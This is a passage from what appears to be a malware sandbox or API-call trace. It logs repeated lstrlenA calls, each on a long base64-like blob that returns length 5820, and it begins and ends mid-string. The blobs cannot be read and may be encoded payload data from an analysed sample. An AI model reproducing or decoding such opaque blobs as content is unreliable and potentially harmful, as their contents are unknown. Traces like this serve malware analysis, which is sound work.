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") returned 5820
	[0084.634] lstrlenA (lpString="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") returned 5820
	[0084.634] lstrlenA (lpString="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